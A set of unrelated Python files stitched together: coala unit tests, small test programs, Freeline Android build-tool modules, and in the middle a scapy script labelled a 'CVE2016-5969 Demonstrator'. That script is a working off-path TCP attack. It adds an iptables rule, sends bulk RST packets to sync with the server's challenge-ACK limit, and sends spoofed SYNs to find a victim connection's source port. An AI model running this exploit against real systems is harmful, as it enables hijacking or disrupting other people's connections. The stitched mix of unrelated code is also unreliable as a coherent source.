    return arg_parser


class ManPageFormatterTest(unittest.TestCase):

    def test_format_functions(self):
        uut = ManPageFormatter(app_name)
        self.assertEqual(ManPageFormatter._markup("a-b"), "a\\-b")
        self.assertEqual(ManPageFormatter._underline("test"), "\\fItest\\fR")
        self.assertEqual(ManPageFormatter._bold("test"), "\\fBtest\\fR")
        self.assertEqual(ManPageFormatter._bold("\\fBtest"), "\\fBtest\\fR")
        self.assertEqual(ManPageFormatter._bold("test\\fR"), "\\fBtest\\fR")

    def test_mk_title(self):
        uut = ManPageFormatter(app_name, parser=test_arg_parser())
        today = datetime.date.today().strftime('%Y\\-%m\\-%d')
        self.assertEqual(uut._mk_title(),
                         '.TH {0} {1} {2}\n'.format(app_name, 1, today))

    def test_mk_name(self):
        uut = ManPageFormatter(app_name, parser=test_arg_parser())
        self.assertEqual(uut._mk_name(),
                         ".SH NAME\n{}\n".format(app_name))

    def test_mk_synopsis(self):
        uut = ManPageFormatter(app_name, parser=test_arg_parser())
        self.assertEqual(
            uut._mk_synopsis(),
            ".SH SYNOPSIS\n \\fB{}\\fR [-h] [-a A] arg1\n\n\n".format(
                app_name))

    def test_mk_description(self):
        uut = ManPageFormatter(app_name,
                               parser=test_arg_parser())
        self.assertEqual(uut._mk_description(), "")
        uut = ManPageFormatter(app_name,
                               parser=test_arg_parser(),
                               long_desc=app_long_description)
        self.assertEqual(uut._mk_description(),
                         ".SH DESCRIPTION\n{}\n".format(app_long_description))

    def test_mk_options(self):
        uut = ManPageFormatter(app_name, parser=test_arg_parser())
        self.assertEqual(uut._mk_options(),
                         ".SH OPTIONS\n"
                         "  arg1\n\n"
                         "  -h, --help  show this help message and exit\n"
                         "  -a A\n")

    def test_mk_footer(self):
        uut = ManPageFormatter(app_name, ext_sections=sections)
        self.assertEqual(uut._mk_footer(),
                         ".SH {}\n {}".format(
                             section_name.upper(), section_text))
        uut = ManPageFormatter(app_name, ext_sections=None)
        self.assertEqual(uut._mk_footer(), "")

    def test_formatter(self):
        parser = test_arg_parser(ManPageFormatter)
        self.assertEqual(
            parser.format_help(),
            "usage: {0} [-h] [-a A] arg1\n\n{1}\n\n"
            "positional arguments:\n"
            "  arg1\n\n"
            "optional arguments:\n"
            "  \\fB-h\\fR, \\fB--help\\fR\n"
            "                        show this help message and exit\n"
            "  \\fB-a\\fR \\fIA\\fR\n"
            .format(app_name, app_description))

        parser = ManPageFormatter(app_name,
                                  parser=argparse.ArgumentParser(
                                      prog=app_name))
        today = datetime.date.today().strftime('%Y\\-%m\\-%d')
        self.assertEqual(parser.format_man_page(),
                         ".TH {0} 1 {1}\n"
                         ".SH NAME\n"
                         "{0}\n"
                         ".SH SYNOPSIS\n"
                         " \\fBname\\fR [-h]\n\n\n"
                         ".SH OPTIONS\n"
                         "  -h, --help  show this help message and exit\n"
                         .format(app_name, today))


class BuildManPageTest(unittest.TestCase):

    def test_finalize_options(self):
        dist = Distribution()
        uut = BuildManPage(dist)
        self.assertRaises(DistutilsOptionError, uut.finalize_options)
        with make_temp() as uut.output:
            self.assertRaises(DistutilsOptionError, uut.finalize_options)
            uut.parser = "tests.misc.BuildManPageTest:test_arg_parser"

            uut.finalize_options()
            self.assertIsInstance(uut._parser, argparse.ArgumentParser)

            uut.run()
            with open(uut.output) as file:
                result = file.read(1000)

            today = datetime.date.today().strftime('%Y\\-%m\\-%d')
            self.assertEqual(result,
                             """.TH {0} 1 {1}
.SH NAME
{0}
.SH SYNOPSIS
 \\fB{0}\\fR [-h] [-a A] arg1


.SH DESCRIPTION
UNKNOWN
.SH OPTIONS
  arg1

  \\fB-h\\fR, \\fB--help\\fR
                        show this help message and exit
  \\fB-a\\fR \\fIA\\fR
.SH LICENSE
 UNKNOWN
.SH MAINTAINER(S)
 UNKNOWN
.SH SEE ALSO
 Online documentation: UNKNOWN""".format(app_name, today))






import os
import subprocess
import sys
from tempfile import TemporaryDirectory
import unittest

from coalib.misc.ContextManagers import (
    change_directory, make_temp, prepare_file, retrieve_stdout,
    retrieve_stderr, simulate_console_inputs, subprocess_timeout,
    suppress_stdout)
from coalib.processes.Processing import create_process_group


process_group_timeout_test_code = """
import time, subprocess, sys;
p = subprocess.Popen([sys.executable,
                     "-c",
                     "import time; time.sleep(100)"]);
time.sleep(100);
"""


class ContextManagersTest(unittest.TestCase):

    def test_subprocess_timeout(self):
        p = subprocess.Popen([sys.executable,
                              "-c",
                              "import time; time.sleep(0.5);"],
                             stderr=subprocess.PIPE)
        with subprocess_timeout(p, 0.2) as timedout:
            retval = p.wait()
            p.stderr.close()
            self.assertEqual(timedout.value, True)
        self.assertNotEqual(retval, 0)

        p = create_process_group([sys.executable,
                                  "-c",
                                  process_group_timeout_test_code])
        with subprocess_timeout(p, 0.5, kill_pg=True):
            retval = p.wait()
            self.assertEqual(timedout.value, True)
        self.assertNotEqual(retval, 0)

        p = subprocess.Popen([sys.executable,
                              "-c",
                              "import time"])
        with subprocess_timeout(p, 0.5) as timedout:
            retval = p.wait()
            self.assertEqual(timedout.value, False)
        self.assertEqual(retval, 0)

        p = subprocess.Popen([sys.executable,
                              "-c",
                              "import time"])
        with subprocess_timeout(p, 0) as timedout:
            retval = p.wait()
            self.assertEqual(timedout.value, False)
        self.assertEqual(retval, 0)

    def test_suppress_stdout(self):
        def print_func():
            print("func")
            raise NotImplementedError

        def no_print_func():
            with suppress_stdout():
                print("func")
                raise NotImplementedError

        old_stdout = sys.stdout
        sys.stdout = False

        self.assertRaises(AttributeError, print_func)
        self.assertRaises(NotImplementedError, no_print_func)

        sys.stdout = old_stdout

    def test_retrieve_stdout(self):
        with retrieve_stdout() as sio:
            print("test", file=sys.stdout)
            self.assertEqual(sio.getvalue(), "test\n")

    def test_retrieve_stderr(self):
        with retrieve_stderr() as sio:
            print("test", file=sys.stderr)
            self.assertEqual(sio.getvalue(), "test\n")

    def test_simulate_console_inputs(self):
        with simulate_console_inputs(0, 1, 2) as generator:
            self.assertEqual(input(), 0)
            self.assertEqual(generator.last_input, 0)
            generator.inputs.append(3)
            self.assertEqual(input(), 1)
            self.assertEqual(input(), 2)
            self.assertEqual(input(), 3)
            self.assertEqual(generator.last_input, 3)

        with simulate_console_inputs("test"), self.assertRaises(ValueError):
            self.assertEqual(input(), "test")
            input()

    def test_make_temp(self):
        with make_temp() as f_a:
            self.assertTrue(os.path.isfile(f_a))
            self.assertTrue(os.path.basename(f_a).startswith("tmp"))
        self.assertFalse(os.path.isfile(f_a))

        with make_temp(suffix=".orig", prefix="pre") as f_b:
            self.assertTrue(f_b.endswith(".orig"))
            self.assertTrue(os.path.basename(f_b).startswith("pre"))

    def test_prepare_file(self):
        with prepare_file(['line1', 'line2\n'],
                          "/file/name",
                          force_linebreaks=True,
                          create_tempfile=True) as (lines, filename):
            self.assertEqual(filename, '/file/name')
            self.assertEqual(lines, ['line1\n', 'line2\n'])

        with prepare_file(['line1', 'line2\n'],
                          None,
                          force_linebreaks=False,
                          create_tempfile=True) as (lines, filename):
            self.assertTrue(os.path.isfile(filename))
            self.assertEqual(lines, ['line1', 'line2\n'])

        with prepare_file(['line1', 'line2\n'],
                          None,
                          tempfile_kwargs={"suffix": ".test",
                                           "prefix": "test_"},
                          force_linebreaks=False,
                          create_tempfile=True) as (lines, filename):
            self.assertTrue(os.path.isfile(filename))
            basename = os.path.basename(filename)
            self.assertTrue(basename.endswith(".test"))
            self.assertTrue(basename.startswith("test_"))

        with prepare_file(['line1', 'line2\n'],
                          None,
                          force_linebreaks=False,
                          create_tempfile=False) as (lines, filename):
            self.assertEqual(filename, "dummy_file_name")

    def test_change_directory(self):
        old_dir = os.getcwd()
        with TemporaryDirectory("temp") as tempdir:
            tempdir = os.path.realpath(tempdir)
            with change_directory(tempdir):
                self.assertEqual(os.getcwd(), tempdir)
        self.assertEqual(os.getcwd(), old_dir)






import unittest
import re
import os
from unittest.mock import patch

from pyprint.NullPrinter import NullPrinter

from coalib.misc.Caching import FileCache
from coalib.misc.CachingUtilities import pickle_load, pickle_dump
from coalib.output.printers.LogPrinter import LogPrinter
from coalib import coala
from coalib.misc.ContextManagers import prepare_file
from coalib.misc.ContextManagers import simulate_console_inputs
from tests.TestUtilities import execute_coala, bear_test_module


class CachingTest(unittest.TestCase):

    def setUp(self):
        current_dir = os.path.split(__file__)[0]
        self.caching_test_dir = os.path.join(
            current_dir,
            "caching_testfiles")
        self.log_printer = LogPrinter(NullPrinter())
        self.cache = FileCache(self.log_printer, "coala_test", flush_cache=True)

    def test_file_tracking(self):
        self.cache.track_files({"test.c", "file.py"})
        self.assertEqual(self.cache.data, {"test.c": -1, "file.py": -1})

        self.cache.untrack_files({"test.c"})
        self.assertFalse("test.c" in self.cache.data)
        self.assertTrue("file.py" in self.cache.data)

        self.cache.untrack_files({"test.c", "file.py"})
        self.assertFalse("test.c" in self.cache.data)
        self.assertFalse("file.py" in self.cache.data)

    def test_write(self):
        self.cache.track_files({"test2.c"})
        self.assertEqual(self.cache.data["test2.c"], -1)

        self.cache.write()
        self.assertNotEqual(self.cache.data["test2.c"], -1)

    @patch('coalib.misc.Caching.os')
    def test_get_uncached_files(self, mock_os):
        file_path = os.path.join(self.caching_test_dir, "test.c")
        cache = FileCache(self.log_printer, "coala_test3", flush_cache=True)

        # Since this is a new FileCache object, the return must be the full set
        cache.current_time = 0
        mock_os.path.getmtime.return_value = 0
        self.assertEqual(cache.get_uncached_files({file_path}), {file_path})

        cache.track_files({file_path})
        self.assertEqual(cache.get_uncached_files({file_path}), {file_path})

        cache.write()
        self.assertEqual(cache.get_uncached_files({file_path}), set())

        # Simulate changing the file and then getting uncached files
        # Since the file has been edited since the last run it's returned
        cache.current_time = 1
        mock_os.path.getmtime.return_value = 1
        cache.track_files({file_path})
        self.assertEqual(cache.get_uncached_files({file_path}), {file_path})
        cache.write()

        # Not changing the file should NOT return it the next time
        cache.current_time = 2
        self.assertEqual(cache.get_uncached_files({file_path}), set())

    def test_persistence(self):
        with FileCache(self.log_printer, "test3", flush_cache=True) as cache:
            cache.track_files({"file.c"})
        self.assertTrue("file.c" in cache.data)

        with FileCache(self.log_printer, "test3", flush_cache=False) as cache:
            self.assertTrue("file.c" in cache.data)

    def test_time_travel(self):
        cache = FileCache(self.log_printer, "coala_test2", flush_cache=True)
        cache.track_files({"file.c"})
        cache.write()
        self.assertTrue("file.c" in cache.data)

        cache_data = pickle_load(self.log_printer, "coala_test2", {})
        # Back to the future :)
        cache_data["time"] = 2000000000
        pickle_dump(self.log_printer, "coala_test2", cache_data)

        cache = FileCache(self.log_printer, "coala_test2", flush_cache=False)
        self.assertFalse("file.c" in cache.data)

    def test_caching_results(self):
        """
        A simple integration test to assert that results are not dropped
        when coala is ran multiple times with caching enabled.
        """
        with bear_test_module(), \
                prepare_file(["a=(5,6)"], None) as (lines, filename):
            with simulate_console_inputs("0"):
                retval, output = execute_coala(
                    coala.main,
                    "coala",
                    "-c", os.devnull,
                    "--disable-caching",
                    "--flush-cache",
                    "-f", re.escape(filename),
                    "-b", "LineCountTestBear",
                    "-L", "DEBUG")
                self.assertIn("This file has", output)

            # Due to the change in configuration from the removal of
            # ``--flush-cache`` this run will not be sufficient to
            # assert this behavior.
            retval, output = execute_coala(
                coala.main,
                "coala",
                "-c", os.devnull,
                "-f", re.escape(filename),
                "-b", "LineCountTestBear")
            self.assertIn("This file has", output)

            retval, output = execute_coala(
                coala.main,
                "coala",
                "-c", os.devnull,
                "-f", re.escape(filename),
                "-b", "LineCountTestBear")
            self.assertIn("This file has", output)






import sys

if __name__ == "__main__":
    data = input()
    try:
        nums = [int(n) for n in data.split()]
    except ValueError:
        print("INVALID INPUT", file=sys.stderr)
    else:
        print(sum(nums))






if __name__ == "__main__":
    print("test_program Z")
    print("non-interactive mode.")
    print("Exiting...")






if __name__ == "__main__":
    print("test_program X")
    print("Type in a number:")
    num = input()
    print(num)
    print("Exiting program.")






import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
logger = logging.getLogger(__name__)

from scapy.all import *
from multiprocessing import Process, Queue
import sys
import time
import copy
import argparse



# Handles the initial TCP handshake
class TcpHandshake(object):
    def __init__(self, target):
        self.seq = 0
        self.seq_next = 0
        self.target = target
        self.dst = target[0]
        self.dport = target[1]
        self.sport = random.randrange(0, 2 ** 16)
        self.l4 = IP(dst=target[0]) / TCP(sport=self.sport, dport=self.dport, flags=0, seq=random.randrange(0, 2 ** 32))
        self.src = self.l4.src
        self.swin = self.l4[TCP].window
        self.dwin = 1
        self.alive = False
        self.next_srv_ack = 0

    def handle_recv(self, pkt):
        if pkt and pkt.haslayer(IP) and pkt.haslayer(TCP):
            if pkt[TCP].flags & 0x3f == 0x12:  # SYN+ACK
                logger.debug("RCV: SYN+ACK")
                return self.send_synack_ack(pkt)
            if pkt[TCP].flags & 0x3f == 0x18:  # PSH+ACK
                logger.debug("RCV: PSH+ACK")
                self.next_srv_ack = pkt.seq + len(pkt[Raw])
                logger.debug('Handshake Completed')
                return
            elif pkt[TCP].flags & 4 != 0:  # RST
                logger.debug("RCV: RST")
                raise Exception("RST")
            elif pkt[TCP].flags & 0x1 == 1:  # FIN
                logger.debug("RCV: FIN")
                return self.send_finack(pkt)
            elif pkt[TCP].flags & 0x3f == 0x10:  # FIN+ACK
                logger.debug("RCV: FIN+ACK")
                return self.send_ack(pkt)

        logger.debug("RCV: %s" % repr(pkt))
        return None

    def send_syn(self, sport=None):
        logger.info('Starting Handshake')
        logger.debug("Sent: SYN")
        if sport:
            self.sport = sport
        self.l4[TCP].flags = "S"
        self.seq_next = self.l4[TCP].seq + 1
        response = sr1(self.l4, verbose=False)
        self.l4[TCP].seq += 1
        return self.handle_recv(response)

    def send_synack_ack(self, pkt):
        logger.debug("Sent: ACK to SYN+ACK")
        self.l4[TCP].ack = pkt[TCP].seq + 1
        self.l4[TCP].flags = "A"
        self.seq_next = self.l4[TCP].seq
        response = sr1(self.l4, verbose=False)
        self.alive = True
        return self.handle_recv(response)

    def send_data(self, d):
        self.l4[TCP].flags = "PA"
        response = self._sr1(self.l4 / d)
        self.seq_next = self.l4[TCP].seq + len(d)
        self.l4[TCP].seq += len(d)
        # return self.handle_recv(response)

    def send_fin(self):
        logger.debug("SND: FIN")
        self.l4[TCP].flags = "F"
        self.seq_next = self.l4[TCP].seq + 1
        response = self._sr1(self.l4)
        self.l4[TCP].seq += 1
        return self.handle_recv(response)

    def send_finack(self, pkt):
        logger.debug("SND: FIN+ACK")
        self.l4[TCP].flags = "FA"
        self.l4[TCP].ack = pkt[TCP].seq + 1
        self.seq_next = self.l4[TCP].seq + 1
        response = send(self.l4)
        self.l4[TCP].seq += 1
        raise Exception("FIN+ACK")

    def send_ack(self, pkt):
        logger.debug("SND: ACK")
        self.l4[TCP].flags = "A"
        self.l4[TCP].ack = pkt[TCP].seq + 1
        self.seq_next = self.l4[TCP].seq + 1
        response = self._sr1(self.l4)
        self.l4[TCP].seq += 1

    def send_bulk(self, pcount):
        self.l4[TCP].sport = self.sport
        self.l4[TCP].flags = "R"
        self.l4[TCP].seq = self.seq_next + 666
        send(self.l4 / '.', count=pcount, verbose=False)
        # self.seq_next = self.l4[TCP].seq + len(d)
        # self.l4[TCP].seq += len(d)

    # Takes a list of source ports and returns a set of prepared packets
    def ports(self, ports):
        x = []
        pkt = copy.deepcopy(self.l4)
        pkt[TCP].flags = "S"
        pkt[IP].src = args.clientip
        for i in ports:
            pkt[TCP].sport = i
            x.append(pkt / '.')
        return x


# Sniffs for packets, threaded.
class sniffer():
    def __init__(self, srv_seq, q):
        self.q = q
        self.seq = srv_seq
        self.ca = 0

    def sniffs(self):
        build_filter = lambda (r): TCP in r and IP in r and r[IP].src == args.serverip and r[TCP].seq == self.seq
        ca = sniff(lfilter=build_filter, timeout=1.2)
        self.q.put(len(ca))

    def run(self):
        self.run = Process(target=self.sniffs)
        self.run.start()


# Super important to sync with the servers clock.
def time_sync(svr_seq, sync=False, rerun=0, rehs=0, runcount=1, sleeptime=0):
    logger.info('Starting Sync')
    while not sync:
        if (time.time()).is_integer():

            # Sleep only the time we need to make the magic happen
            time.sleep(sleeptime)

            # start sniffer
            q = Queue()
            x = sniffer(svr_seq, q)
            x.run()
            logger.debug('Starting: %s' % str(time.time()))

            # send 200 packets
            start = time.time()
            tcp_hs.send_bulk(200)
            logger.debug('Done: %s' % str(time.time()))

            # wait for results
            result = q.get()
            logger.debug(str(result))

            # If it is not 100, we are out of time. Readjust
            if result >= 200:
                rerun = 0
                sleeptime = 0.25
                logger.warn('Way out of sync: %s' % result)

            # Way out, might need to re handshake
            elif result == 0:
                rehs += 1
                if rehs >= 2:
                    tcp_hs.send_syn(random.randrange(0, 2 ** 16))
                # ... what is this doing here
                #if not tcp_hs.alive:
                    #pass
                #else:
                    #pass

            # Out of sync, adjust
            elif result > 100:
                rerun = 0
                sleeptime = 0.015 * runcount
                logger.info('Out of sync: %s' % result)

            # Looks good
            elif result == 100:
                rerun += 1
                if rerun == 3:
                    logger.info('Sync Complete')
                    return start
                else:
                    logger.info('Good Sync')
            runcount += 1


# Breaks big list to search into smaller chunks
def chunks(l, interval):
    for i in range(0, len(l), interval):
        yield l[i:i + interval]


# the magic
def find_port(srcports, synced_time, srv_seq, found=False):
    # If the range is bigger then 2000 ports, break it down.
    if len(srcports) > 2000:
        for i in chunks(srcports, 2000):
            find_port(i, synced_time, tcp_hs.next_srv_ack)

    # Break further into chunks of 500
    elif len(srcports) / 4 == 500:
        divide = 4

    # Everything else can be halved
    else:
        divide = 2

    # For each divided chunk
    for i in chunks(srcports, len(srcports) / divide):

        # Prepare everything possible outside the timer
        run = 0
        q = Queue()

        pkt_list = tcp_hs.ports(i)

        # Loop til we find the port, or return nothing
        while not found:
            if (time.time() - synced_time).is_integer():

                # Keep track of iterations
                run += 1
                logger.debug('Starting Port Sweep: %s' % str(time.time() - synced_time))

                # Start the sniffer
                sniffer(srv_seq, q).run()

                # Send the port finding packets
                send(pkt_list, verbose=False)

                # Send the challenge packets
                tcp_hs.send_bulk(150)
                logger.debug('Done Port Sweep: %s' % str(time.time() - synced_time))

                # Collect Results
                result = q.get()
                logger.debug(str(result))

                # Anything more then 100 means we lost our window
                if result > 100:
                    logger.info('Sync lost. Resyncing')
                    synced_time = time_sync(srv_seq)

                # If 100, its not here
                if result == 100:

                    # If we goto singles, the log is different
                    if len(i) > 1:
                        logger.info('Not in range %s:%s' % (i[0], i[-1]))

                        # No need to check twice if the first half is wrong.
                        if divide == 2:
                            logger.debug('Optimising Search')
                            find_port(srcports[len(srcports) / divide:], synced_time, srv_seq)
                    else:
                        logger.info('Not %s' % (i[0]))

                    # we are done with this chunk
                    break

                # Looks good...
                if result == 99:

                    # If we goto singles, the log is different
                    if len(i) > 1:
                        logger.info('Probably in range %s:%s' % (i[0], i[-1]))
                        find_port(i, synced_time, srv_seq)

                    else:
                        try:
                            find_port(i, synced_time, srv_seq)
                        except ValueError:
                            logger.info('Success. Port found. %s:%s' % (args.clientip, i[0]))

                            # Now, Lets get a sequence number :)
                            sys.exit('Time:%s' % (time.time() - timet))


if __name__ == "__main__":
    if sys.version_info > (3, 0):
        sys.exit('Script built for Python2.7. You are using 3.0 or greater.')

    # Ew, global vars
    global timet

    # Args
    parser = argparse.ArgumentParser(description='CVE2016-5969 Demonstrator.')
    parser.add_argument('-c', dest='clientip', type=str, required=True, metavar='192.168.1.1',
                        help='The target client IP.')
    parser.add_argument('-s', dest='serverip', type=str, required=True, metavar='192.168.1.10',
                        help='The target server IP.')
    parser.add_argument('-p', dest='serverport', type=int, required=True, metavar=22,
                        help='The target server port.')
    parser.add_argument('-v', dest='verbosity', type=str, required=False, metavar='v, vv', default='v',
                        choices=['v', 'vv'], help='The verbosity level')
    args = parser.parse_args()

    # Default linux ephemeral ports. Reversed.
    srcports = range(61000, 32678, -1)

    # This needs to be done for scapy to send packets without the kernel managing the connection
    os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP')

    # Start a timer
    timet = time.time()

    # Setup Logging
    logging.basicConfig(format='%(levelname)s:%(asctime)s %(message)s', datefmt='%I:%M:%S ')
    logging.basicConfig(level=logging.DEBUG)
    if args.verbosity == 'vv':
        logger.setLevel(logging.DEBUG)
    else:
        logger.setLevel(logging.INFO)

    # Perform Handshake
    while True:
        start = time.time()
        tcp_hs = TcpHandshake((args.serverip, args.serverport))
        tcp_hs.send_syn()
        if not tcp_hs.alive:
            pass
        else:
            break

    synced_time = time_sync(tcp_hs.next_srv_ack)
    port = find_port(srcports, synced_time, tcp_hs.next_srv_ack)






#!/usr/bin/python
# -*- coding:utf8 -*-
from argparse import ArgumentParser

from freeline_core.dispatcher import Dispatcher
from freeline_core.init import init


class Freeline(object):
    def __init__(self):
        self.dispatcher = Dispatcher()

    def call(self, args=None):
        if 'init' in args and args.init:
            print('init freeline project...')
            init()
            exit()

        self.dispatcher.call_command(args)


def get_parser():
    parser = ArgumentParser()
    parser.add_argument('-v', '--version', action='store_true', help='show version')
    # parser.add_argument('-b', '--build', action='store_true', help='freeline build')
    parser.add_argument('-f', '--cleanBuild', action='store_true', help='force to execute a clean build')
    parser.add_argument('-a', '--all', action='store_true',
                        help="together with '-f', freeline will force to clean build all projects.")
    parser.add_argument('-c', '--clean', action='store_true', help='clean cache directory and workspace')
    parser.add_argument('-d', '--debug', action='store_true', help='enable debug mode')
    parser.add_argument('-i', '--init', action='store_true', help='init freeline project')
    parser.parse_args()
    return parser


def main():
    parser = get_parser()
    args = parser.parse_args()
    freeline = Freeline()
    freeline.call(args=args)


if __name__ == '__main__':
    main()






# -*- coding:utf8 -*-
from __future__ import print_function

import Queue
import logging
import os
import threading
import time
import traceback

from utils import print_json, is_windows_system

FAILURE = -1
READY = 0
WAITING = 1
WORKING = 2
SUCCESS = 3


class LoggerWorker(threading.Thread):
    def __init__(self, logger, stop_event):
        threading.Thread.__init__(self)
        self.setDaemon(True)

        if not isinstance(logger, Logger):
            raise Exception('LoggerWorker should be set up with freeline.logger.Logger')

        self._logger = logger
        self._stop_event = stop_event

    def run(self):
        while not self._stop_event.isSet():
            if self._logger.debuggable:
                message = Logger.debug_messages_queue.get()
                Logger.print_debug_message(message)
            else:
                self._logger.update()
                time.sleep(self._logger.interval)

        # if in debug mode, clean the debug messages queue
        if self._logger.debuggable:
            Logger.flush_debug_messages()
        else:
            self._logger.update()


class Logger(object):
    # TODO: check screen height before log messages
    debug_messages_queue = Queue.Queue()
    temp_backup_queue = Queue.Queue()
    info_message_array = []
    TPL_DEBUG_MESSAGE = '[DEBUG] {}'

    def __init__(self, debuggable=False, interval=0.1, unit="s"):
        self.debuggable = debuggable
        self.interval = interval
        self.unit = unit

        if not is_windows_system():
            from cursor import Cursor
            from terminal import Terminal
            self.cursor = Cursor(Terminal())

        self.sorted_tasks = []

        self.tpl_running_task = '[+][{}] {} in {}{}\n'
        self.tpl_waiting_task = '[+][{}] {}\n'
        self.tpl_finished_task = '[-][{}] {} in {}{}\n'
        # self.tpl_faied_task = '[-]{}:{} in {}{}\n'
        logging.basicConfig(level=logging.DEBUG)

    def set_sorted_tasks(self, sorted_tasks):
        self.sorted_tasks = sorted_tasks

    def draw(self):
        # if len(self.sorted_tasks) > 0:
        self.cursor.restore()
        self._draw()
        self.cursor.flush()

    def clear_space(self):
        self.cursor.restore()
        self.cursor.clear_lines(self._calculate_lines_num())
        self.cursor.save()

    def update(self):
        self.clear_space()
        self.draw()

    def reset(self):
        if not self.debuggable:
            self.clear_space()
        self.sorted_tasks = []
        Logger.info_message_array = []

    @staticmethod
    def info(message):
        Logger.info_message_array.append(message)

    @staticmethod
    def debug(message):
        Logger.debug_messages_queue.put(message)
        Logger.temp_backup_queue.put(message)

    @staticmethod
    def warn(message):
        pass

    @staticmethod
    def error(message):
        pass

    @staticmethod
    def print_debug_message(message):
        if isinstance(message, dict) or isinstance(message, list):
            print_json(message)
        else:
            print(Logger.TPL_DEBUG_MESSAGE.format(message))

    @staticmethod
    def flush_debug_messages():
        while not Logger.debug_messages_queue.empty():
            message = Logger.debug_messages_queue.get()
            Logger.print_debug_message(message)

    @staticmethod
    def write_error_log(exception=None, extra=None):
        import json
        try:
            log_path = get_error_log_path()
            with open(log_path, 'w') as fp:
                while not Logger.temp_backup_queue.empty():
                    message = Logger.temp_backup_queue.get(timeout=0.5)
                    if isinstance(message, dict) or isinstance(message, list):
                        fp.write(json.dumps(message, indent=4, separators=(',', ': ')))
                    else:
                        fp.write(message)
                    fp.write('\n')

                # write extra info
                if exception:
                    fp.write(exception)
            return log_path
        except Exception as e:
            print(traceback.format_exc())
            print(e.message)
            return None

    def _calculate_lines_num(self):
        lines_count = 0
        for task in self.sorted_tasks:
            if task.can_show_log:
                lines_count += 1
        return lines_count + len(Logger.info_message_array) + 1

    def _draw(self):
        # map(lambda task: self.cursor.write(self._get_formatted_message(task)), self.sorted_tasks)
        map(lambda message: self.cursor.write(message + '\n'), Logger.info_message_array)
        map(lambda task: self.cursor.write(self._get_formatted_message(task)),
            filter(lambda task: task.can_show_log(), self.sorted_tasks))

    def _get_formatted_message(self, task):
        return {
            FAILURE: self.tpl_finished_task.format(task.name, 'failed.', task.cost_time, self.unit),
            READY: self.tpl_running_task.format(task.name, 'not start.', 'N/A', self.unit),
            WAITING: self.tpl_waiting_task.format(task.name, 'waiting...'),
            WORKING: self.tpl_running_task.format(task.name, task.running_message,
                                                  round(time.time() - task.run_start_time, 1), self.unit),
            SUCCESS: self.tpl_finished_task.format(task.name, task.finished_message, task.cost_time, self.unit)
        }.get(task.status, 'NULL')


def get_error_log_path():
    return os.path.join(get_error_log_dir(), time.strftime('%y-%m-%d %H-%M-%S') + '.log')


def get_error_log_dir():
    dir_path = os.path.join(os.path.expanduser('~'), '.freeline', 'logs')
    if not os.path.exists(dir_path):
        os.makedirs(dir_path)
    return dir_path






# -*- coding:utf8 -*-


class NoConfigFoundException(Exception):
    def __init__(self, path):
        Exception.__init__(self, '{} not found, please execute gradlew checkBeforeCleanBuild first.'.format(path))


class EnvironmentException(Exception):
    def __init__(self, message):
        Exception.__init__(self, message)


class FreelineException(Exception):
    def __init__(self, message, cause):
        Exception.__init__(self, message)
        self.cause = cause


class NoDeviceFoundException(FreelineException):
    def __init__(self, message, cause):
        FreelineException.__init__(self, message, cause)


class CheckSyncStateException(FreelineException):
    def __init__(self, message, cause):
        FreelineException.__init__(self, message, cause)


class NoInstallationException(FreelineException):
    def __init__(self, message, cause):
        FreelineException.__init__(self, message, cause)


class FileMissedException(FreelineException):
    def __init__(self, message, cause):
        FreelineException.__init__(self, message, cause)


class UsbConnectionException(FreelineException):
    def __init__(self, message, cause):
        FreelineException.__init__(self, message, cause)






# -*- coding:utf8 -*-
from __future__ import print_function
import os
import re
import time
import datetime

import android_tools
from builder import Builder
from logger import Logger
from utils import cexec, curl, get_file_content, write_file_content

NO_DEVICE_FOUND_MESSAGE = """\tPlease make sure your application is properly running in your device.
\tCheck follow steps:
\t1. If freeline is not added to your app's denpendencies, modifiy your dependency and run `python freeline.py -f`."""


class SyncClient(object):
    def __init__(self, is_art, config):
        self._is_art = is_art
        self._config = config
        self._adb = Builder.get_adb(self._config)
        self._cache_dir = self._config['build_cache_dir']
        self._port = 0

    def debug(self, message):
        Logger.debug('[sync_client] {}'.format(message))

    def check_device_connection(self):
        commands = [self._adb, 'devices']
        output, err, code = cexec(commands, callback=None)
        if code == 0:
            devices = output.strip().split('\n')
            length = len(devices)
            from exceptions import UsbConnectionException
            if length < 2:
                self.debug('No device\'s connection found')
                raise UsbConnectionException('No device\'s connection found',
                                             '\tUse `adb devices` to check your device connection')
            if length > 2:
                self.debug('More than 1 devices connect:')
                self.debug(devices)
                raise UsbConnectionException('More than 1 devices connect',
                                             '\tOnly 1 device allowed, '
                                             'use `adb devices` to check your devices\' connection')

    def check_installation(self):
        commands = [self._adb, 'shell', 'pm', 'list', 'packages', self._config['package']]
        output, err, code = cexec(commands, callback=None)
        result = re.findall(self._config['package'].replace('.', '\.') + '\s+\Z', output)
        if len(result) != 1:
            self.debug('No package named {} been installed to your device'.format(self._config['package']))
            from exceptions import NoInstallationException
            raise NoInstallationException(
                'No package named {} been installed to your device'.format(self._config['package']),
                '\tUse `adb shell pm list packages {}` to check app installation.'.format(self._config['package']))

    def ensure_device_status(self):
        if not self._check_screen_status():
            self.debug('try to turn on your device\'s screen...')
            self._turn_on_screen()

    def connect_device(self):
        self.debug('start to connect device...')
        self._port = self.scan_device_port()

        if self._port == 0:
            self.wake_up()
            for i in range(1, 25):
                self._port = self.scan_device_port()
                if self._port != 0:
                    break
                time.sleep(0.2)
                self.debug('try to connect device {} times...'.format(i))

        if self._port == 0:
            self.check_device_connection()
            self.check_installation()
            self.debug('package {} not found. Please make sure your application is properly running in your device, '
                       'freeline will start a clean build'.format(self._config['package']))
            from exceptions import NoDeviceFoundException
            raise NoDeviceFoundException('Package {} is not found.'.format(self._config['package']),
                                         NO_DEVICE_FOUND_MESSAGE)
        self.debug('find device port: {}'.format(self._port))

    def close_connection(self):
        if self._port != 0:
            cexec([self._adb, 'forward', '--remove', 'tcp:{}'.format(self._port)], callback=None)

    def scan_device_port(self):
        port = 0
        apktime_path = self._get_apktime_path()
        self.debug("apktime path: " + apktime_path)
        sync_value = get_sync_value(apktime_path, self._cache_dir)
        self.debug('your local sync value is: {}'.format(sync_value))

        for i in range(0, 10):
            cexec([self._adb, 'forward', 'tcp:{}'.format(41128 + i), 'tcp:{}'.format(41128 + i)], callback=None)
            url = 'http://127.0.0.1:{}/checkSync?sync={}'.format(41128 + i, sync_value)
            result, err, code = curl(url)
            if code == 0 and result is not None:
                port = 41128 + i
                if result and int(result) == 0:
                    self.debug('server result is {}'.format(result))
                    self.debug('check sync value failed, maybe you need a clean build.')
